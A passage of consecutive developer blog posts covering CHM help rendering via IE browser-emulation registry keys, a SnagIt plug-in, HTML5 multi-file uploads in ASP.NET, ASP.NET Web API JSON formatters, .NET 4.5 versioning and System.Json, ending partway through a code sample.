The HTML Help 1.0 specification aka CHM files, is pretty old. In fact, it's practically ancient as it was introduced in 1997 when Internet Explorer 4 was introduced. Html Help 1.0 is basically a completely HTML based Help system that uses a Help Viewer that internally uses Internet Explorer to render the HTML Help content. Because of its use of the Internet Explorer shell for rendering there were many security issues in the past, which resulted in locking down of the Web Browser control in Windows and also the Help Engine which caused some unfortunate side effects.

Even so, CHM continues to be a popular help format because it is very easy to produce content for it, using plain HTML and because it works with many Windows application platforms out of the box. While there have been various attempts to replace CHM help files CHM files still seem to be a popular choice for many applications to display their help systems. The biggest alternative these days is no system based help at all, but links to online documentation.

For Windows apps though it's still very common to see CHM help files and there are still a ton of CHM help out there and lots of tools (including our own West Wind Html Help Builder) that produce output for CHM files as well as Web output.

Image is Everything and you ain't got it!

One problem with the CHM engine is that it's stuck with an ancient Internet Explorer version for rendering. For example if you have help content that uses HTML5 or CSS3 content you might have an HTML Help topic like the following shown here in a full Web Browser instance of Internet Explorer:

The page clearly uses some CSS3 features like rounded corners and box shadows that are rendered using plain CSS 3 features. Note that I used Internet Explorer on purpose here to demonstrate that IE9 on Windows 7 can properly render this content using some of the new features of CSS, but the same is true for all other recent versions of the major browsers (FireFox 3.1+, Safari 4.5+, WebKit 9+ etc.).

Unfortunately if you take this nice and simple CSS3 content and run it through the HTML Help compiler to produce a CHM file the resulting output on the same machine looks a bit less flashy:

All the CSS3 styling is gone and although the page display and functionality still works, but all the extra styling features are gone. This even though I am running this on a Windows 7 machine that has IE9 that should be able to render these CSS features. Bummer.

Web Browser Control - perpetually stuck in IE 7 Mode

The problem is the Web Browser/Shell Components in Windows. This component is and has been part of Windows for as long as Internet Explorer has been around, but the Web Browser control hasn't kept up with the latest versions of IE. In a nutshell the control is stuck in IE7 rendering mode for engine compatibility reasons by default. However, there is at least one way to fix this explicitly using Registry keys on a per application basis.

The key point from that blog article is that you can override the IE rendering engine for a particular executable by setting one (or more) registry flags that tell the Windows Shell which version of the Internet Explorer rendering engine to load. An application that wishes to use a more recent version of Internet Explorer can then register itself during installation for the specific IE version desired and from then on the application will use that version of the Web Browser component. If the application is older than the specified version it falls back to the default version (IE 7 rendering).

Forcing CHM files to display with IE9 (or later) Rendering

Knowing that we can force the IE usage for a given process it's also possible to affect the CHM rendering by setting same keys on the executable that's hosting the CHM file. What that executable file is depends on the type of application as there are a number of ways that can launch the help engine.

• hh.exe
  The standalone Windows CHM Help Viewer that launches when you launch a CHM from Windows Explorer. You can manually add hh.exe to the registry keys.
  
• YourApplication.exe
  If you're using .NET or any tool that internally uses the hhControl ActiveX control to launch help content your application is your host. You should add your application's exe to the registry during application startup.
  
• foxhhelp9.exe
  If you're building a FoxPro application that uses the built-in help features, foxhhelp9.exe is used to actually host the help controls. Make sure to add this executable to the registry.

What to set

You can configure the Internet Explorer version used for an application in the registry by specifying the executable file name and a value that specifies the IE version desired.

There are two different sets of keys for 32 bit and 64 bit applications.

32 bit only or 64 bit:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION

Value Key: hh.exe

32 bit on 64 bit machine:

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION

Value Key: hh.exe

Note that it's best to always set both values ideally when you install your application so it works regardless of which platform you run on.

The value specified is a DWORD value and the interesting values are decimal 9000 for IE9 rendering mode depending on !DOCTYPE settings or 9999 for IE 9 standards mode always. You can use the same logic for 8000 and 8888 for IE8 and the final value of 7000 for IE7 (one has to wonder what they're going todo for version 10 to perpetuate that pattern).

I think 9000 is the value you'd most likely want to use. 9000 means that IE9 will be used for rendering but unless the right doctypes are used (XHTML and HTML5 specifically) IE will still fall back into quirks mode as needed. This should allow existing pages to continue to use the fallback engine while new pages that have the proper HTML doctype set can take advantage of the newest features.

Here's an example of how I set the registry keys in my Tarma Installmate registry configuration:

Note that I set all three values both under the Software and Wow6432Node keys so that this works regardless of where these EXEs are launched from. Even though all apps are 32 bit apps, the 64 bit (the default one shown selected) key is often used.

So, now once I've set the registry key for hh.exe I can now launch my CHM help file from Explorer and see the following CSS3 IE9 rendered display:

Summary

It sucks that we have to go through all these hoops to get what should be natural behavior for an application to support the latest features available on a system. But it shouldn't be a surprise - the Windows Help team (if there even is such a thing) has not been known for forward looking technologies. It's a pretty big hassle that we have to resort to setting registry keys in order to get the Web Browser control and the internal CHM engine to render itself properly but at least it's possible to make it work after all.

Using this technique it's possible to ship an application with a help file and allow your CHM help to display with richer CSS markup and correct rendering using the stricter and more consistent XHTML or HTML5 doctypes. If you provide both Web help and in-application help (and why not if you're building from a single source) you now can side step the issue of your customers asking: Why does my help file look so much shittier than the online help… No more!

I've updated my free SnagIt Live Writer plug-in again as there have been a few issues with the new release of SnagIt 11. It appears that TechSmith has trimmed the COM object and removed a bunch of redundant functionality which has broken the older plug-in. I also updated the layout and added SnagIt's latest icons to the form. Finally I've moved the source code to Github for easier browsing and downloading for anybody interested and easier updating for me.

This plug-in is not new - I created it a number of years back, but I use the hell out it both for my blogging and for a few internal apps that with MetaWebLogApi to update online content. The plug-in makes it super easy to add captured image content directly into a post and upload it to the server.

What does it do?

Once installed the plug-in shows up in the list of plug-ins. When you click it launches a SnagIt Capture Dialog:

Typically you set the capture settings once, and then save your settings. After that a single click or ENTER press gets you off capturing.

If you choose the Show in SnagIt preview window option, the image you capture is is displayed in the preview editor to mark up images, which is one of SnagIt's great strengths IMHO. The image editor has a bunch of really nice effects for framing and marking up and highlighting of images that is really sweet. Here's a capture from a previous image in the SnagIt editor where I applied the saw tooth cutout effect:

Images are saved to disk and can optionally be deleted immediately, since Live Writer creates copies of original images in its own folders before uploading the files. No need to keep the originals around typically.

The plug-in works with SnagIt Versions 7 and later.

It's a simple thing of course - nothing magic here, but incredibly useful at least to me. If you're using Live Writer and you own a copy of SnagIt do yourself a favor and grab this and install it as a plug-in.

Resources:

• SnagIt Windows Live Writer Plug-in Installer
• Source Code on GitHub
• Buy SnagIt

Per HTML5 spec the <input type="file" /> tag allows for multiple files to be picked from a single File upload button. This is actually a very subtle change that's very useful as it makes it much easier to send multiple files to the server without using complex uploader controls.

Please understand though, that even though you can send multiple files using the <input type="file" /> tag, the process of how those files are sent hasn't really changed - there's still no progress information or other hooks that allow you to automatically make for a nicer upload experience without additional libraries or code. For that you will still need some sort of library (I'll post an example in my next blog post using plUpload). All the new features allow for is to make it easier to select multiple images from disk in one operation. Where you might have required many file upload controls before to upload several files, one File control can potentially do the job.

How it works

To create a file input box that allows with multiple file support you can simply do:

<form method="post" enctype="multipart/form-data">                
  <label>Upload Images:</label>
  <input type="file" multiple="multiple" name="File1" id="File1" accept="image/*" />
  <hr />

  <input type="submit" id="btnUpload" value="Upload Images" />
</form>

Now when the file open dialog pops up - depending on the browser and whether the browser supports it - you can pick multiple files. Here I'm using Firefox using the thumbnail preview I can easily pick images to upload on a form:

Note that I can select multiple images in the dialog all of which get stored in the file textbox. The UI for this can be different in some browsers. For example Chrome displays 3 files selected as text next to the Browse… button when I choose three rather than showing any files in the textbox.

Most other browsers display the standard file input box and display the multiple filenames as a comma delimited list in the textbox.

Note that you can also specify the accept attribute in the <input> tag, which specifies a mime-type to specify what type of content to allow.Here I'm only allowing images (image/*) and the browser complies by just showing me image files to display. Likewise I could use text/* for all text formats registered on the machine or text/xml to only show XML files (which would include xml,xst,xsd etc.).

Capturing Files on the Server with ASP.NET

When you upload files to an ASP.NET server there are a couple of things to be aware of. When multiple files are uploaded from a single file control, they are assigned the same name. In other words if I select 3 files to upload on the File1 control shown above I get three file form variables named File1.

This means I can't easily retrieve files by their name:

HttpPostedFileBase file = Request.Files["File1"];

because there will be multiple files for a given name. The above only selects the first file.

Instead you can only reliably retrieve files by their index. Below is an example I use in app to capture a number of images uploaded and store them into a database using a business object and EF 4.2.

for (int i = 0; i < Request.Files.Count; i++)
{
    HttpPostedFileBase file = Request.Files[i];
                    
    if (file.ContentLength == 0)
        continue;

    if (file.ContentLength > App.Configuration.MaxImageUploadSize)
    {
        ErrorDisplay.ShowError("File " + file.FileName + 

                               " is too large. Max upload size is: " +
                               App.Configuration.MaxImageUploadSize);
        return View("UploadClassic",model);
    }
    
    var image = new ClassifiedsBusiness.Image();
    var ms = new MemoryStream(16498);
    file.InputStream.CopyTo(ms);                
                   
    image.Entered = DateTime.Now;
    image.EntryId = model.Entry.Id;
    image.ContentType = "image/jpeg";
    image.ImageData = ms.ToArray();

    ms.Seek(0, SeekOrigin.Begin);

    // resize image if necessary and turn into jpeg
    Bitmap bmp = Imaging.ResizeImage(ms.ToArray(), 

                                     App.Configuration.MaxImageWidth, 
                                     App.Configuration.MaxImageHeight);
    ms.Close();

    ms = new MemoryStream();
    bmp.Save(ms,ImageFormat.Jpeg);

    image.ImageData = ms.ToArray();
    bmp.Dispose();
    ms.Close();

    model.Entry.Images.Add(image);
}

This works great and also allows you to capture input from multiple input controls if you are dealing with browsers that don't support multiple file selections in the file upload control.

The important thing here is that I iterate over the files by index, rather than using a foreach loop over the Request.Files collection. The files collection returns key name strings, rather than the actual files (who thought that was good idea at Microsoft?), and so that isn't going to work since you end up getting multiple keys with the same name. Instead a plain for loop has to be used to loop over all files.

Another Option in ASP.NET MVC

If you're using ASP.NET MVC you can use the code above as well, but you have yet another option to capture multiple uploaded files by using a parameter for your post action method.

public ActionResult Save(HttpPostedFileBase[] file1)
{
    foreach (var file in file1)
    {
        if (file.ContentLength < 0)
            continue;

        // do something with the file
    }

}

Note that in order for this to work you have to specify each posted file variable individually in the parameter list. This works great if you have a single file upload to deal with. You can also pass this in addition to your main model to separate out a ViewModel and a set of uploaded files:

public ActionResult Edit(EntryViewModel model,HttpPostedFileBase[] uploadedFile)

You can also make the uploaded files part of the ViewModel itself - just make sure you use the appropriate naming for the variable name in the HTML document (since there's Html.FileFor() extension).

Browser Support

You knew this was coming, right? The feature is really nice, but unfortunately not supported universally yet. Once again Internet Explorer is the problem: No shipping version of Internet Explorer supports multiple file uploads. IE10 supposedly will, but even IE9 does not. All other major browsers - Chrome, Firefox, Safari and Opera - support multi-file uploads in their latest versions.

So how can you handle this? If you need to provide multiple file uploads you can simply add multiple file selection boxes and let people either select multiple files with a single upload file box or use multiples. Alternately you can do some browser detection and if IE is used simply show the extra file upload boxes. It's not ideal, but either one of these approaches makes life easier for folks that use a decent browser and leaves you with a functional interface for those that don't.

Here's a UI I recently built as an alternate uploader with multiple file upload buttons:

I say this is my 'alternate' uploader - for my primary uploader I continue to use an add-in solution. Specifically I use plUpload and I'll discuss how that's implemented in my next post. Although I think that plUpload (and many of the other packaged JavaScript upload solutions) are a better choice especially for large uploads, for simple one file uploads input boxes work well enough. The advantage of this solution is that it's very easy to handle on the server side. Any of the JavaScript controls require special handling for uploads which I'll also discuss in my next post.

ASP.NET Web API's default output format is supposed to be JSON, but when I access my Web APIs using the browser address bar I'm always seeing an XML result instead. When working on AJAX application I like to test many of my AJAX APIs with the browser while working on them. While I can't debug all requests this way, GET requests are easy to test in the browser especially if you have JSON viewing options set up in your various browsers.

If I preview a Web API request in most browsers I get an XML response like this:

Why is that?

Web API checks the HTTP Accept headers of a request to determine what type of output it should return by looking for content typed that it has formatters registered for. This automatic negotiation is one of the great features of Web API because it makes it easy and transparent to request different kinds of output from the server.

In the case of browsers it turns out that most send Accept headers that look like this (Chrome in this case):

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Web API inspects the entire list of headers from left to right (plus the quality/priority flag q=) and tries to find a media type that matches its list of supported media types in the list of formatters registered. In this case it matches application/xml to the Xml formatter and so that's what gets returned and displayed.

To verify that Web API indeed defaults to JSON output by default you can open the request in Fiddler and pop it into the Request Composer, remove the application/xml header and see that the output returned comes back in JSON instead.

An accept header like this:

Accept: text/html,application/xhtml+xml,*/*;q=0.9

or leaving the Accept header out altogether should give you a JSON response. Interestingly enough Internet Explorer 9 also displays JSON because it doesn't include an application/xml Accept header:

Accept: text/html, application/xhtml+xml, */*

which for once actually seems more sensible.

Removing the XML Formatter

We can't easily change the browser Accept headers (actually you can by delving into the config but it's a bit of a hassle), so can we change the behavior on the server? When working on AJAX applications I tend to not be interested in XML results and I always want to see JSON results at least during development. Web API uses a collection of formatters and you can go through this list and remove the ones you don't want to use - in this case the XmlMediaTypeFormatter.

To do this you can work with the HttpConfiguration object and the static GlobalConfiguration object used to configure it:

    protected void Application_Start(object sender, EventArgs e)
    {

        // Action based routing (used for RPC calls)
        RouteTable.Routes.MapHttpRoute(
            name: "StockApi",
            routeTemplate: "stocks/{action}/{symbol}",
            defaults: new
            {
                symbol = RouteParameter.Optional,
                controller = "StockApi"
            }
        );

        // WebApi Configuration to hook up formatters and message handlers
        RegisterApis(GlobalConfiguration.Configuration);
    }

    public static void RegisterApis(HttpConfiguration config)
    {
        // remove default Xml handler
        var matches = config.Formatters
                            .Where(f => f.SupportedMediaTypes
                                         .Where(m => m.MediaType.ToString() == "application/xml" ||
                                                     m.MediaType.ToString() == "text/xml")
                                         .Count() > 0)
                            .ToList() ;
        foreach (var match in matches)
            config.Formatters.Remove(match);    
    }
}

That LINQ code is quite a mouthful of nested collections, but it does the trick to remove the formatter based on the content type. You can also look for the specific formatter (XmlMediatTypeFormatter) by its type name which is simpler, but it's better to search for the supported types as this will work even if there are other custom formatters added.

Once removed, now the browser request results in a JSON response:

It's a simple solution to a small debugging task that's made my life easier. Maybe you find it useful too…

The new ASP.NET Web API that Microsoft released alongside MVC 4.0 Beta last week is a great framework for building REST and AJAX APIs. I've been working with it for quite a while now and I really like the way it works and the complete set of features it provides 'in the box'. It's about time that Microsoft gets a decent API for building generic HTTP endpoints into the framework.

DataContractJsonSerializer sucks

As nice as Web API's overall design is one thing still sucks: The built-in JSON Serialization uses the DataContractJsonSerializer which is just too limiting for many scenarios. The biggest issues I have with it are:

• No support for untyped values (object, dynamic, Anonymous Types)
• MS AJAX style Date Formatting
• Ugly serialization formats for types like Dictionaries

To me the most serious issue is dealing with serialization of untyped objects. I have number of applications with AJAX front ends that dynamically reformat data from business objects to fit a specific message format that certain UI components require. The most common scenario I have there are IEnumerable query results from a database with fields from the result set rearranged to fit the sometimes unconventional formats required for the UI components (like jqGrid for example). Creating custom types to fit these messages seems like overkill and projections using Linq makes this much easier to code up. Alas DataContractJsonSerializer doesn't support it. Neither does DataContractSerializer for XML output for that matter.

What this means is that you can do stuff like this in Web API out of the box:

public object GetAnonymousType()
{
   return new { name = "Rick", company = "West Wind", entered= DateTime.Now };
}

Basically anything that doesn't have an explicit type DataContractJsonSerializer will not let you return. FWIW, the same is true for XmlSerializer which also doesn't work with non-typed values for serialization. The example above is obviously contrived with a hardcoded object graph, but it's not uncommon to get dynamic values returned from queries that have anonymous types for their result projections.

Apparently there's a good possibility that Microsoft will ship Json.NET as part of Web API RTM release. I've heard several people from Microsoft confirm that Json.NET will be included, but no details yet in what capacity it will show up - whether just as an option or the default. Let's hope it ends up as the default in the box. Meanwhile this post will show you how you can use it today with the beta.

What about JsonValue?

To be fair Web API DOES include a new JsonValue/JsonObject/JsonArray type that allow you to address some of these scenarios. JsonValue is a new type in the System.Json assembly that can be used to build up an object graph based on a dictionary. It's actually a really cool implementation of a dynamic type that allows you to create an object graph and spit it out to JSON without having to create .NET type first. JsonValue can also receive a JSON string and parse it without having to actually load it into a .NET type (which is something that's been missing in the core framework). This is really useful if you get a JSON result from an arbitrary service and you don't want to explicitly create a mapping type for the data returned.

For serialization you can create an object structure on the fly and pass it back as part of an Web API action method like this:

public JsonValue GetJsonValue()
{
    dynamic json = new JsonObject();
    json.name = "Rick";
    json.company = "West Wind";
    json.entered = DateTime.Now;

    dynamic address = new JsonObject();
    address.street = "32 Kaiea";
    address.zip = "96779";
    json.address = address;

    dynamic phones = new JsonArray();
    json.phoneNumbers = phones;

    dynamic phone = new JsonObject();
    phone.type = "Home";
    phone.number = "808 123-1233";
    phones.Add(phone);

    phone = new JsonObject();
    phone.type = "Home";
    phone.number = "808 123-1233";
    phones.Add(phone);
    
   
    //var jsonString = json.ToString();

    return json;
}

which produces the following output (formatted here for easier reading):

{
    name: "rick",
    company: "West Wind",
    entered: "2012-03-08T15:33:19.673-10:00",
    address: 
    {
        street: "32 Kaiea",
        zip: "96779"
    },
    phoneNumbers: [
    {
        type: "Home",
        number: "808 123-1233"
    },
    {
        type: "Mobile",
        number: "808 123-1234"
    }]
}

If you need to build a simple JSON type on the fly these types work great. But if you have an existing type - or worse a query result/list that's already formatted JsonValue et al. become a pain to work with. As far as I can see there's no way to just throw an object instance at JsonValue and have it convert into JsonValue dictionary. It's a manual process.

Using alternate Serializers in Web API

So, currently the default serializer in WebAPI is DataContractJsonSeriaizer and I don't like it. You may not either, but luckily you can swap the serializer fairly easily. If you'd rather use the JavaScriptSerializer built into System.Web.Extensions or Json.NET today, it's not too difficult to create a custom MediaTypeFormatter that uses these serializers and can replace or partially replace the native serializer.

Here's a MediaTypeFormatter implementation using the ASP.NET JavaScriptSerializer:

using System;
using System.Net.Http.Formatting;
using System.Threading.Tasks;
using System.Web.Script.Serialization;
using System.Json;
using System.IO;

namespace Westwind.Web.WebApi
{
    public class JavaScriptSerializerFormatter : MediaTypeFormatter
    {
        public JavaScriptSerializerFormatter()
        {
            SupportedMediaTypes.Add(new System.Net.Http.Headers.MediaTypeHeaderValue("application/json"));
        }

        protected override bool CanWriteType(Type type)
        {
            // don't serialize JsonValue structure use default for that
            if (type == typeof(JsonValue) || type == typeof(JsonObject) || type== typeof(JsonArray) )
                return false;

            return true;
        }

        protected override bool CanReadType(Type type)
        {
            if (type == typeof(IKeyValueModel))                
                return false;
            
            return true;
        }

        protected override System.Threading.Tasks.Task<object> OnReadFromStreamAsync(Type type, System.IO.Stream stream, System.Net.Http.Headers.HttpContentHeaders contentHeaders, FormatterContext formatterContext)
        {
            var task = Task<object>.Factory.StartNew(() =>
                {                    
                    var ser = new JavaScriptSerializer();
                    string json;

                    using (var sr = new StreamReader(stream))
                    {                        
                        json = sr.ReadToEnd();
                        sr.Close();
                    }

                    object val = ser.Deserialize(json,type);
                    return val;
                });

            return task;
        }

        protected override System.Threading.Tasks.Task OnWriteToStreamAsync(Type type, object value, System.IO.Stream stream, System.Net.Http.Headers.HttpContentHeaders contentHeaders, FormatterContext formatterContext, System.Net.TransportContext transportContext)
        {            
            var task = Task.Factory.StartNew( () =>
                {

                    var ser = new JavaScriptSerializer();                    
                    var json = ser.Serialize(value);
                    
                    byte[] buf = System.Text.Encoding.Default.GetBytes(json);
                    stream.Write(buf,0,buf.Length);
                    stream.Flush();
                });

            return task;
        }
    }
}

Formatter implementation is pretty simple: You override 4 methods to tell which types you can handle and then handle the input or output streams to create/parse the JSON data.

Note that when creating output you want to take care to still allow JsonValue/JsonObject/JsonArray types to be handled by the default serializer so those objects serialize properly - if you let either JavaScriptSerializer or JSON.NET handle them they'd try to render the dictionaries which is very undesirable.

If you'd rather use Json.NET here's the JSON.NET version of the formatter:

// this code requires a reference to JSON.NET in your project
#if true

using System;
using System.Net.Http.Formatting;
using System.Threading.Tasks;
using System.Web.Script.Serialization;
using System.Json;
using Newtonsoft.Json;
using System.IO;
using Newtonsoft.Json.Converters;

namespace Westwind.Web.WebApi
{
    public class JsonNetFormatter : MediaTypeFormatter
    {
        public JsonNetFormatter()
        {
            SupportedMediaTypes.Add(new System.Net.Http.Headers.MediaTypeHeaderValue("application/json"));
        }

        protected override bool CanWriteType(Type type)
        {
            // don't serialize JsonValue structure use default for that
            if (type == typeof(JsonValue) || type == typeof(JsonObject) || type == typeof(JsonArray))
                return false;

            return true;
        }

        protected override bool CanReadType(Type type)
        {
            if (type == typeof(IKeyValueModel))
                return false;

            return true;
        }

        protected override System.Threading.Tasks.Task<object> OnReadFromStreamAsync(Type type, System.IO.Stream stream, System.Net.Http.Headers.HttpContentHeaders contentHeaders, FormatterContext formatterContext)
        {
            var task = Task<object>.Factory.StartNew(() =>
                {
                    var settings = new JsonSerializerSettings()
                    {
                        NullValueHandling = NullValueHandling.Ignore,
                    };
                   
                    var sr = new StreamReader(stream);
                    var jreader = new JsonTextReader(sr);

                    var ser = new JsonSerializer();
                    ser.Converters.Add(new IsoDateTimeConverter());
                     
                    object val = ser.Deserialize(jreader, type);
                    return val;
                });

            return task;
        }

        protected override System.Threading.Tasks.Task OnWriteToStreamAsync(Type type, object value, System.IO.Stream stream, System.Net.Http.Headers.HttpContentHeaders contentHeaders, FormatterContext formatterContext, System.Net.TransportContext transportContext)
        {            
            var task = Task.Factory.StartNew( () =>
                {                    
                    var settings = new JsonSerializerSettings()
                    {
                         NullValueHandling = NullValueHandling.Ignore,                                                  
                    };
                    
                    string json = JsonConvert.SerializeObject(value, Formatting.Indented, 
                                                              new JsonConverter[1] { new IsoDateTimeConverter() } );                    

                    byte[] buf = System.Text.Encoding.Default.GetBytes(json);
                    stream.Write(buf,0,buf.Length);
                    stream.Flush();
                });

            return task;
        }
    }
}
#endif

One advantage of the Json.NET serializer is that you can specify a few options on how things are formatted and handled. You get null value handling and you can plug in the IsoDateTimeConverter which is nice to product proper ISO dates that I would expect any Json serializer to output these days.

Hooking up the Formatters

Once you've created the custom formatters you need to enable them for your Web API application. To do this use the GlobalConfiguration.Configuration object and add the formatter to the Formatters collection. Here's what this looks like hooked up from Application_Start in a Web project:

protected void Application_Start(object sender, EventArgs e)
{

    // Action based routing (used for RPC calls)
    RouteTable.Routes.MapHttpRoute(
        name: "StockApi",
        routeTemplate: "stocks/{action}/{symbol}",
        defaults: new
        {
            symbol = RouteParameter.Optional,
            controller = "StockApi"
        }
    );

    // WebApi Configuration to hook up formatters and message handlers
    // optional
    RegisterApis(GlobalConfiguration.Configuration);
}

public static void RegisterApis(HttpConfiguration config)
{
    // Add JavaScriptSerializer  formatter instead - add at top to make default
    //config.Formatters.Insert(0, new JavaScriptSerializerFormatter());
    
    // Add Json.net formatter - add at the top so it fires first!
    // This leaves the old one in place so JsonValue/JsonObject/JsonArray still are handled
    config.Formatters.Insert(0, new JsonNetFormatter());
}
 

One thing to remember here is the GlobalConfiguration object which is Web API's static configuration instance. I think this thing is seriously misnamed given that GlobalConfiguration could stand for anything and so is hard to discover if you don't know what you're looking for. How about WebApiConfiguration or something more descriptive? Anyway, once you know what it is you can use the Formatters collection to insert your custom formatter.

Note that I insert my formatter at the top of the list so it takes precedence over the default formatter. I also am not removing the old formatter because I still want JsonValue/JsonObject/JsonArray to be handled by the default serialization mechanism. Since they process in sequence and I exclude processing for these types JsonValue et al. still get properly serialized/deserialized.

Summary

Currently DataContractJsonSerializer in Web API is a pain, but at least we have the ability with relatively limited effort to replace the MediaTypeFormatter and plug in our own JSON serializer. This is good useful for many scenarios - if you have existing client applications that used MVC JsonResult or ASP.NET AJAX results from ASMX AJAX services you can plug in the JavaScript serializer and get exactly the same serializer you used in the past so your results will be the same and don't potentially break clients. JSON serializers do vary a bit in how they serialize some of the more complex types (like Dictionaries and dates for example) and so if you're migrating it might be helpful to ensure your client code doesn't break when you switch serializers.

Going forward it looks like Microsoft is planning on plugging in Json.net into Web API and make that the default. I think that's an awesome choice since Json.net has been around forever, is fast and easy to use and provides a ton of functionality as part of this great library. I just wish Microsoft would have figured this out sooner instead of now at the last minute integrating with it especially given that Json.net has a similar set of lower level JSON objects JsonValue/JsonObject etc. which now will end up being duplicated by the native System.Json. stuff. It's not like we already have enough confusion regarding with JSON serializer we should use (JavaScriptSerializer, DataContractJsonSerializer, JsonValue/JsonObject/JsonArray and now Json.net). For years I've been using my own JSON serializer because the built in choices are both limited. However, with an official encorsement of Json.net I'm happily moving on to use that in my applications.

Let's see and hope Microsoft gets this right before ASP.NET Web API goes gold.

With the betas for .NET 4.5 and Visual Studio 11 and Windows 8 shipping many people will be installing .NET 4.5 and hacking away on it. There are a number of great enhancements that are fairly transparent, but it's important to understand what .NET 4.5 actually is in terms of the CLR running on your machine.

When .NET 4.5 is installed it effectively replaces .NET 4.0 on the machine. .NET 4.0 gets overwritten by a new version of .NET 4.5 which - according to Microsoft - is supposed to be 100% backwards compatible. While 100% backwards compatible sounds great, we all know that 100% is a hard number to hit, and even the aforementioned blog post at the Microsoft site acknowledges this. But there's so much more than backwards compatibility that makes this awkward at best and confusing at worst.

What does ‘Replacement’ mean?

When you install .NET 4.5 your .NET 4.0 assemblies in the \Windows\.NET Framework\V4.0.30319 are overwritten with a new set of assemblies. You end up with overwritten assemblies as well as a bunch of new ones (like the new System.Net.Http assemblies for example). The following screen shot demonstrates system.dll on my test machine (left) running .NET 4.5 on the right and my production laptop running stock .NET 4.0 (right):

Clearly they are different files with a difference in file sizes (interesting that the 4.5 version is actually smaller).

That’s not all. If you actually query the runtime version when .NET 4.5 is installed with with Environment.Version you still get:

4.0.30319

If you open the properties of System.dll assembly in .NET 4.5 you'll also see:

Notice that the file version is also left at 4.0.xxx.

There are differences in build numbers: .NET 4.0 shows 261 and the current .NET 4.5 beta build is 17379. I suppose you can use assume a build number greater than 17000 is .NET 4.5, but that's pretty hokey to say the least.

There’s no easy or obvious way to tell whether you are running on 4.0 or 4.5 – to the application they appear to be the same runtime version. And that is what Microsoft intends here. .NET 4.5 is intended as an in-place upgrade.

Compile to 4.5 run on 4.0 – not quite!

You can compile an application for .NET 4.5 and run it on the 4.0 runtime – that is until you hit a new feature that doesn’t exist on 4.0. At which point the app bombs at runtime. Say you write some code that is mostly .NET 4.0, but only has a few of the new features of .NET 4.5 like aync/await buried deep in the bowels of the application where it only fires occasionally. .NET will happily start your application and run everything 4.0 fine, until it hits that 4.5 code – and then crash unceremoniously at runtime. Oh joy!

You can .NET 4.0 applications on .NET 4.5 of course and that should work without much fanfare.

Different than .NET 3.0/3.5

Note that this in-place replacement is very different from the side by side installs of .NET 2.0 and 3.0/3.5 which all ran on the 2.0 version of the CLR. The two 3.x versions were basically library enhancements on top of the core .NET 2.0 runtime. Both versions ran under the .NET 2.0 runtime which wasn’t changed (other than for security patches and bug fixes) for the whole 3.x cycle. The 4.5 update instead completely replaces the .NET 4.0 runtime and leaves the actual version number set at v4.0.30319.

When you build a new project with Visual Studio 2011, you can still target .NET 4.0 or you can target .NET 4.5. But you are in effect referencing the same set of assemblies for both regardless which version you use. What's different is the compiler used to compile and link your code so compiling with .NET 4.0 gives you just the subset of the functionality that is available in .NET 4.0, but when you use the 4.5 compiler you get the full functionality of what’s actually available in the assemblies and extra libraries. It doesn’t look like you will be able to use Visual Studio 2010 to develop .NET 4.5 applications.

Good news – Bad news

Microsoft is trying hard to experiment with every possible permutation of releasing new versions of the .NET framework apparently. No two updates have been the same. Clearly updating to a full new version of .NET (ie. .NET 2.0, 4.0 and at some point 5.0 runtimes) has its own set of challenges, but doing an in-place update of the runtime and then not even providing a good way to tell which version is installed is pretty whacky even by Microsoft’s standards. Especially given that .NET 4.5 includes a fairly significant update with all the aysnc functionality baked into the runtime. Most of the IO APIs have been updated to support task based async operation which significantly affects many existing APIs.

To make things worse .NET 4.5 will be the initial version of .NET that ships with Windows 8 so it will be with us for a long time to come unless Microsoft finally decides to push .NET versions onto Windows machines as part of system upgrades (which currently doesn’t happen). This is the same story we had when Vista launched with .NET 3.0 which was a minor version that quickly was replaced by 3.5 which was more long lived and practical.

People had enough problems dealing with the confusing versioning of the 3.x versions which ran on .NET 2.0. I can’t count the amount support calls and questions I’ve fielded because people couldn’t find a .NET 3.5 entry in the IIS version dialog. The same is likely to happen with .NET 4.5. It’s all well and good when we know that .NET 4.5 is an in-place replacement, but administrators and IT folks not intimately familiar with .NET are unlikely to understand this nuance and end up thoroughly confused which version is installed.

It’s hard for me to see any upside to an in-place update and I haven’t really seen a good explanation of why this approach was decided on. Sure if the version stays the same existing assembly bindings don’t break so applications can stay running through an update. I suppose this is useful for some component vendors and strongly signed assemblies in corporate environments. But seriously, if you are going to throw .NET 4.5 into the mix, who won’t be recompiling all code and thoroughly test that code to work on .NET 4.5? A recompile requirement doesn’t seem that serious in light of a major version upgrade. 

Resources

http://blogs.msdn.com/b/dotnet/archive/2011/09/26/compatibility-of-net-framework-4-5.aspx

http://www.devproconnections.com/article/net-framework/net-framework-45-versioning-faces-problems-141160

So System.Json has been around for a while in Silverlight, but it's relatively new for the desktop .NET framework and now moving into the lime-light with the pending release of ASP.NET Web API which is bringing a ton of attention to server side JSON usage. The JsonValue, JsonObject and JsonArray objects are going to be pretty useful for Web API applications as they allow you dynamically create and parse JSON values without explicit .NET types to serialize from or into. But even more so I think JsonValue et al. are going to be very useful when consuming JSON APIs from various services.

Yes I know C# is strongly typed, why in the world would you want to use dynamic values?

So many times I've needed to retrieve a small morsel of information from a large service JSON response and rather than having to map the entire type structure of what that service returns, JsonValue actually allows me to cherry pick and only work with the values I'm interested in, without having to explicitly create everything up front. With JavaScriptSerializer or DataContractJsonSerializer you always need to have a strong type to de-serialize JSON data into. Wouldn't it be nice if no explicit type was required and you could just parse the JSON directly using a very easy to use object syntax? That's exactly what JsonValue, JsonObject and JsonArray accomplish using a JSON parser and some sweet use of dynamic sauce to make it easy to access in code.

Creating JSON on the fly with JsonValue

Let's start with creating JSON on the fly. It's super easy to create a dynamic object structure. JsonValue uses the dynamic  keyword extensively to make it intuitive to create object structures and turn them into JSON via dynamic object syntax. Here's an example of creating a music album structure with child songs using JsonValue:

[TestMethod]
public void JsonValueOutputTest()
{
    // strong type instance 
    var jsonObject = new JsonObject();

    // dynamic expando instance you can add properties to
    dynamic album = jsonObject;

    album.AlbumName = "Dirty Deeds Done Dirt Cheap";
    album.Artist = "AC/DC";
    album.YearReleased = 1977;

    album.Songs = new JsonArray() as dynamic;
    
    dynamic song = new JsonObject();
    song.SongName = "Dirty Deeds Done Dirt Cheap";
